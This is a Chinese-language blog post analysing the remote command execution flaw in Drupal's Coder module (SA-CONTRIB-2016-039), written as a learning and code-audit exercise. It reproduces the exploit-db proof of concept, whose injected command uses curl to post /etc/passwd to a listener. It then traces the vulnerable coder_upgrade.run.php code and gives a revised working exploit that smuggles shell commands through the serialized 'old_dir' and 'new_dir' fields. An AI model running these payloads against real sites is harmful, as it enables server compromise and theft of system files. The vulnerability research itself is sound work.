Drupal Coder 模块远程命令执行分析(SA-CONTRIB-2016-039)
转载请注明文章出处:http://www.cnblogs.com/magic-zero/p/5787181.html
起初看到这个漏洞的时候是在exploit-db上边。地址在这里:https://www.exploit-db.com/exploits/40144/
后来在网上搜索了一下,发现几篇不错的分析。比如这个:http://seclab.dbappsecurity.com.cn/?p=1267
分析写的不错,想研究或者复现这个漏洞的不妨参考一下。当然也可以参考一下我的这篇文章。
从exploit-db的漏洞详情中,我们可以看到这个poc:
<?php
# Drupal module Coder Remote Code Execution (SA-CONTRIB-2016-039)
# https://www.drupal.org/node/2765575
# by Raz0r (http://raz0r.name) $cmd = "curl -XPOST http://localhost:4444 -d @/etc/passwd";
$host = "http://localhost:81/drupal-7.12/"; $a = array(
"upgrades" => array(
"coder_upgrade" => array(
"module" => "color",
"files" => array("color.module")
)
),
"extensions" => array("module"),
"items" => array (array("old_dir"=>"test; $cmd;", "new_dir"=>"test")),
"paths" => array(
"modules_base" => "../../../",
"files_base" => "../../../../sites/default/files"
)
);
$payload = serialize($a);
file_get_contents($host . "/modules/coder/coder_upgrade/scripts/coder_upgrade.run.php?file=data://text/plain;base64," . base64_encode($payload));
?>
然后在本地测试的时候发现并不能复现。所以决定下载代码重新分析。然后在网上找到了那篇文章。还是挺不错的。帮助理清了思路。
我们来分析:
0x00 我们首先定位漏洞的位置搞清楚执行流程
全局搜索,定位到了两处。其中的一处有我做测试时候的输出。
我们跟进去,
继续往上找。
在coder_upgrade_start函数的定义中使用了这个,继续跟进。
到了这个地方,我们大致搞清楚了流程。coder_upgrade.run.php中的items变量 --> main.inc 中的coder_upgrade_start() --> main.inc 中的 coder_upgrade_make_patch_file() --> shell_exec()执行。
所以,接着我们来尝试构造exp。
0x01 构造利用的exp
在coder_upgrade.run.php中,我们看到
set_error_handler("error_handler");
set_exception_handler("exception_handler");
这样遇到warning就会退出,会给后边的构造带来很多的麻烦。另外这里还有一个判断。
我们本地测试就不去修改这个配置了。先注释掉这个判断。
<?php
/**
* @file
* Invokes the Coder Upgrade conversion routines as a separate process.
*
* Using this script:
* - helps to minimize the memory usage by the web interface process
* - helps to avoid hitting memory and processing time limits by the PHP process
* - enables a batch processing workflow
*
* Parameters to this script:
* @param string $path
* Path to a file containing runtime parameters
*
* The parameters should be stored as the serialized value of an associative
* array with the following keys:
* - paths: paths to files and modules
* - theme_cache: path to core theme information cache
* - variables: variables used by coder_upgrade
* - upgrades: array to be passed to coder_upgrade_start()
* - extensions: ditto
* - items: ditto
*
* @see coder_upgrade_conversions_prepare()
* @see coder_upgrade_parameters_save()
* @see coder_upgrade_start()
*
* To execute this script, save the following shell script to a file and execute
* the shell script from the root directory of your Drupal installation. If you
* have changed the default coder_upgrade output directory name, then modify
* this script accordingly.
*
* #!/bin/sh
*
* MODULES_DIRECTORY=[fill this in, e.g. all or mysite]
* FILES_DIRECTORY=[fill this in, e.g. default or mysite]
* CODER_UPGRADE_DIRECTORY=coder_upgrade [unless you changed it]
* SCRIPT=sites/$MODULES_DIRECTORY/modules/coder/coder_upgrade/scripts/coder_upgrade.run.php
* RUNTIME=sites/$FILES_DIRECTORY/files/$CODER_UPGRADE_DIRECTORY/runtime.txt
* OUTPUT=sites/$FILES_DIRECTORY/files/$CODER_UPGRADE_DIRECTORY/coder_upgrade.run.txt
*
* php $SCRIPT -- file=$RUNTIME > $OUTPUT 2>&1
*
* Alternatively, replace the bracketed items in the following command and
* execute it from the root directory of your Drupal installation.
*
* php sites/[modules_directory]/modules/coder/coder_upgrade/scripts/coder_upgrade.run.php \
* -- file=sites/[files_directory]/files/coder_upgrade/runtime.txt \
* > sites/[files_directory]/files/coder_upgrade/coder_upgrade.run.txt 2>&1
*
* Copyright 2009-11 by Jim Berry ("solotandem", http://drupal.org/user/240748)
*/ // if (!script_is_cli()) {
// // Without proper web server configuration, this script can be invoked from a
// // browser and is vulnerable to misuse.
// return;
// } // Save memory usage for printing later (when code is loaded).
$usage = array();
save_memory_usage('start', $usage); /**
* Root directory of Drupal installation.
*/
define('DRUPAL_ROOT', getcwd()); ini_set('display_errors', 1);
ini_set('memory_limit', '128M');
ini_set('max_execution_time', 180);
set_error_handler("error_handler");
set_exception_handler("exception_handler"); // Read command line arguments.
$path = extract_arguments(); //获取到file参数的值
if (is_null($path)) {
echo 'No path to parameter file';
return 2;
} // Load runtime parameters.
$parameters = unserialize(file_get_contents($path)); // Extract individual array items by key.
foreach ($parameters as $key => $variable) {
$$key = $variable; //变量覆盖,也是问题发生的关键地方
}
save_memory_usage('load runtime parameters', $usage); // Set global variables (whose names do not align with extracted parameters).
$_coder_upgrade_variables = $variables;
$_coder_upgrade_files_base = $paths['files_base'];
$_coder_upgrade_libraries_base = $paths['libraries_base'];
$_coder_upgrade_modules_base = $paths['modules_base']; //以上的赋值需要构造,否则直接退出。 // Load core theme cache.
$_coder_upgrade_theme_registry = array();
if (is_file($theme_cache)) {
$_coder_upgrade_theme_registry = unserialize(file_get_contents($theme_cache));
}
save_memory_usage('load core theme cache', $usage); // Load coder_upgrade bootstrap code.
$path = $_coder_upgrade_modules_base . '/coder/coder_upgrade';
$files = array(
'coder_upgrade.inc',
'includes/main.inc',
'includes/utility.inc',
); foreach ($files as $file) {
require_once DRUPAL_ROOT . '/' . $path . "/$file";
} //循环去包含文件,其中的main.inc会触发漏洞 coder_upgrade_path_clear('memory');
print_memory_usage($usage); // $trace_base = DRUPAL_ROOT . '/' . $_coder_upgrade_files_base . '/coder_upgrade/coder_upgrade_';
// $trace_file = $trace_base . '1.trace';
// xdebug_start_trace($trace_file);
coder_upgrade_memory_print('load coder_upgrade bootstrap code');
// xdebug_stop_trace(); echo "upgrades"."<br>";
var_dump($upgrades); echo "extensions"."<br>";
var_dump($extensions); echo "items"."<br>";
var_dump($items); //调试输出的信息,原来的文件并没有 // Apply conversion functions.
$success = coder_upgrade_start($upgrades, $extensions, $items); //关键性的items变量带入 // $trace_file = $trace_base . '2.trace';
// xdebug_start_trace($trace_file);
coder_upgrade_memory_print('finish');
// xdebug_stop_trace(); return $success ? 0 : 1; /**
* Returns command line arguments.
*
* @return mixed
* String or array of command line arguments.
*/
function extract_arguments() {
switch (php_sapi_name()) {
case 'apache':
case 'apache2handler': // This is the value when running curl.
if (!isset($_GET['file'])) {
echo 'file parameter is not set';
return;
}
$filename = $_GET['file'];
$action = isset($_GET['action']) ? $_GET['action'] : '';
break; case 'cli':
$skip_args = 2;
if ($_SERVER['argc'] == 2) {
$skip_args = 1;
}
elseif ($_SERVER['argc'] < 2) {
echo 'CLI-1: file parameter is not set' . "\n";
return;
}
foreach ($_SERVER['argv'] as $index => $arg) {
// First two arguments are usually script filename and '--'.
// Sometimes the '--' is omitted.
if ($index < $skip_args) continue;
list($key, $value) = explode('=', $arg);
$arguments[$key] = $value;
}
if (!isset($arguments['file'])) {
echo 'CLI-2: file parameter is not set' . "\n";
return;
}
$filename = $arguments['file'];
$action = isset($arguments['action']) ? $arguments['action'] : '';
break;
}
return $filename;
} /**
* Saves memory usage for printing later.
*
* @param string $step
* A string describing the code step when the memory usage is gathered.
*
* @return mixed
* String or array of command line arguments.
*/
function save_memory_usage($step, &$usage) {
$usage[] = $step;
$usage[] = 'Peak: ' . number_format(memory_get_peak_usage(TRUE), 0, '.', ',') . ' bytes';
$usage[] = 'Curr: ' . number_format(memory_get_usage(TRUE), 0, '.', ',') . ' bytes';
$usage[] = '';
$usage[] = '';
} function print_memory_usage($usage) {
$text = 'Missing memory usage information';
if (is_array($usage)) {
$text = implode("\n", $usage);
}
coder_upgrade_path_print(coder_upgrade_path('memory'), $text);
} function exception_handler($e) {
try {
// ... normal exception stuff goes here
}
catch (Exception $e) {
print get_class($e) . " thrown within the exception handler. Message: " . $e->getMessage() . " on line " . $e->getLine();
}
} function error_handler($code, $message, $file, $line) {
if (0 == error_reporting()) {
return;
}
throw new ErrorException($message, 0, $code, $file, $line);
} /**
* Returns boolean indicating whether script is being run from the command line.
*
* @see drupal_is_cli()
*/
function script_is_cli() {
return (!isset($_SERVER['SERVER_SOFTWARE']) && (php_sapi_name() == 'cli' || (is_numeric($_SERVER['argc']) && $_SERVER['argc'] > 0)));
}
对比原先的exp,我们加上两个变量:
"variables" => 1,
"theme_cache" => 1,
最终的利用代码参考:
<?php $host = "http://192.168.30.134/test/coder/"; $a = array(
"upgrades" => array(
"coder_upgrade" => array(
"module" => "coder",
"files" => array("coder.module")
)
),
"variables" => 1,
"theme_cache" => 1,
"extensions" => array("module"),
"items" => array (array("old_dir"=>"test;ipconfig;", "new_dir"=>"test;ipconfig;", "name"=>1)),
"paths" => array(
"modules_base" => "../../..",
"files_base" => "../..",
"libraries_base" => 1
)
);
$payload = serialize($a);
echo file_get_contents($host . "coder_upgrade/scripts/coder_upgrade.run.php?file=data://text/plain;base64," . base64_encode($payload)); ?>
运行的结果会在当前的目录下生成一个文件夹:
原因是因为这个:
这里其实还有一个坑,是windows下测试的时候。用管道符"||"去拼接代码,进行执行的时候是有问题的。命令拼接虽然可以,但是由于创建文件早了一步,会因为无法创建而退出。关于这个暂时没有找到好的解决方案。如果有好的解决思路,请留言。
刚开始学习审计,多有不足之处,还请指出。
Drupal Coder 模块远程命令执行分析(SA-CONTRIB-2016-039)的更多相关文章
- Drupal 远程命令执行漏洞(CVE-2018-7600)
名称: Drupal 远程命令执行漏洞 CVE-ID: CVE-2018-7600 Poc: https://paper.seebug.org/578/ EXPLOIT-DB: https://www ...
- ThinkPHP 5.x远程命令执行漏洞分析与复现
0x00 前言 ThinkPHP官方2018年12月9日发布重要的安全更新,修复了一个严重的远程代码执行漏洞.该更新主要涉及一个安全更新,由于框架对控制器名没有进行足够的检测会导致在没有开启强制路由的 ...
- ThinkPHP 5.0远程命令执行漏洞分析与复现
0x00 前言 ThinkPHP官方2018年12月9日发布重要的安全更新,修复了一个严重的远程代码执行漏洞.该更新主要涉及一个安全更新,由于框架对控制器名没有进行足够的检测会导致在没有开启强制路由的 ...
- 泛微OA E-cology(CNVD-2019-32204)远程命令执行漏洞复现分析
漏洞复现 影响版本: E-cology 7.0 E-cology 8.0 E-cology 8.1 E-cology 9.0 直接在网站根目录后加入组件访问路径 /weaver/bsh.servl ...
- 22.ThinkPHP5框架缺陷导致远程命令执行
前言: 昨天爆出了ThinkPHP5框架缺陷导致远程命令执行,大佬们都赶上潮流挖洞,小白还是默默学习一下这个漏洞 漏洞影响范围: Thinkphp 5.1.0 - 5.1.31 Thinkphp 5. ...
- Supervisord远程命令执行漏洞(CVE-2017-11610)复现
Supervisord远程命令执行漏洞(CVE-2017-11610)复现 文章首发在安全客 https://www.anquanke.com/post/id/225451 写在前面 因为工作中遇到了 ...
- "Java 反序列化"过程远程命令执行漏洞
一.漏洞描述 国外 FoxGlove 安全研究团队于2015年11月06日在其博客上公开了一篇关于常见 Java 应用如何利用反序列化操作进行远程命令执行的文章.原博文所提到的 Java 应用都使 ...
- SSD报告 - QRadar远程命令执行
SSD报告 - QRadar远程命令执行 漏洞摘要 QRadar中的多个漏洞允许远程未经身份验证的攻击者使产品执行任意命令.每个漏洞本身并不像链接那么强大 - 这允许用户从未经身份验证的访问更改为经过 ...
- URI Scheme注册伪协议实现远程命令执行
Windows配置注册表注册伪协议 1.新建伪协议项 WIN+R 输入regedit 打开注册表,在注册表HKEY_CLASSES_ROOT键中新建一个项,项的名字就是你伪协议的名字,例如我注册一个c ...
随机推荐
- 使用python把图片存入数据库-乾颐堂
一般情况下我们是把图片存储在文件系统中,而只在数据库中存储文件路径的,但是有时候也会有特殊的需求:把图片二进制存入数据库. 今天我们采用的是python+mysql的方式 MYSQL 是支持把图片存入 ...
- 朴素贝叶斯算法的python实现-乾颐堂
算法优缺点 优点:在数据较少的情况下依然有效,可以处理多类别问题 缺点:对输入数据的准备方式敏感 适用数据类型:标称型数据 算法思想: 朴素贝叶斯 比如我们想判断一个邮件是不是垃圾邮件,那么我们知道的 ...
- Nlog- Application Logging in C#
当你在谷歌搜索 Application Loggin in C#,排在最前面的是这个 .NET Logging Tools and Libraries ,点击进去你会发现里面收录了不错的日记工具及文 ...
- Golang 之 key-value LevelDB
时常会在应用中用到数据库功能,象 Key-Value 性质的.直接搬个 Redis,Mysql嫌大,好在有 LevelDB,直接编进应用中. 有关什么是 LevelDB 以及 LevelDB 的特性, ...
- bbs3
第三天 昨日回顾: 1 验证码刷新 -$("#img_code")[0].src+="?" -本质就是向这个地址又发了一次请求 2 js中字符串拼接 -es5之 ...
- Word文档发布到CSDN博客
目前大部分的博客作者在写博客这件事情上都会遇到以下3个痛点:1.所有博客平台关闭了文档发布接口,用户无法使用Word,Windows Live Writer等工具来发布博客.2.发布到博客或公众号平台 ...
- Linux下MySQL表名不区分大小写的设置方法
MySQL表名不区分大小写的设置方法 在用centox安装mysql后,把项目的数据库移植了过去,发现一些表的数据查不到,排查了一下问题,最后发现是表名的大小写不一致造成的. mysql在window ...
- Vue.js的库,包,资源的列表大全。
官方资源 外部资源 社区 播客 官方示例 入门 开发工具 语法高亮 代码片段 自动补全 组件集合 库和插件 路由 ajax/数据 状态管理 校验 UI组件 i18n 示例 模板 脚手架 整合 插件/指 ...
- Tomcat配置文件与启动顺序
三个配置应用的位置: 1.conf目录下的server.xml文件:此方式为Eclipse默认配置方法,同时也是三种方式中优先级最高的. <?xml version="1.0" ...
- layui后台框架的搭建
layui(谐音:类UI) 是一款采用自身模块规范编写的前端 UI 框架,遵循原生 HTML/CSS/JS 的书写与组织形式,门槛极低,拿来即用.其外在极简,却又不失饱满的内在,体积轻盈,组件丰盈,从 ...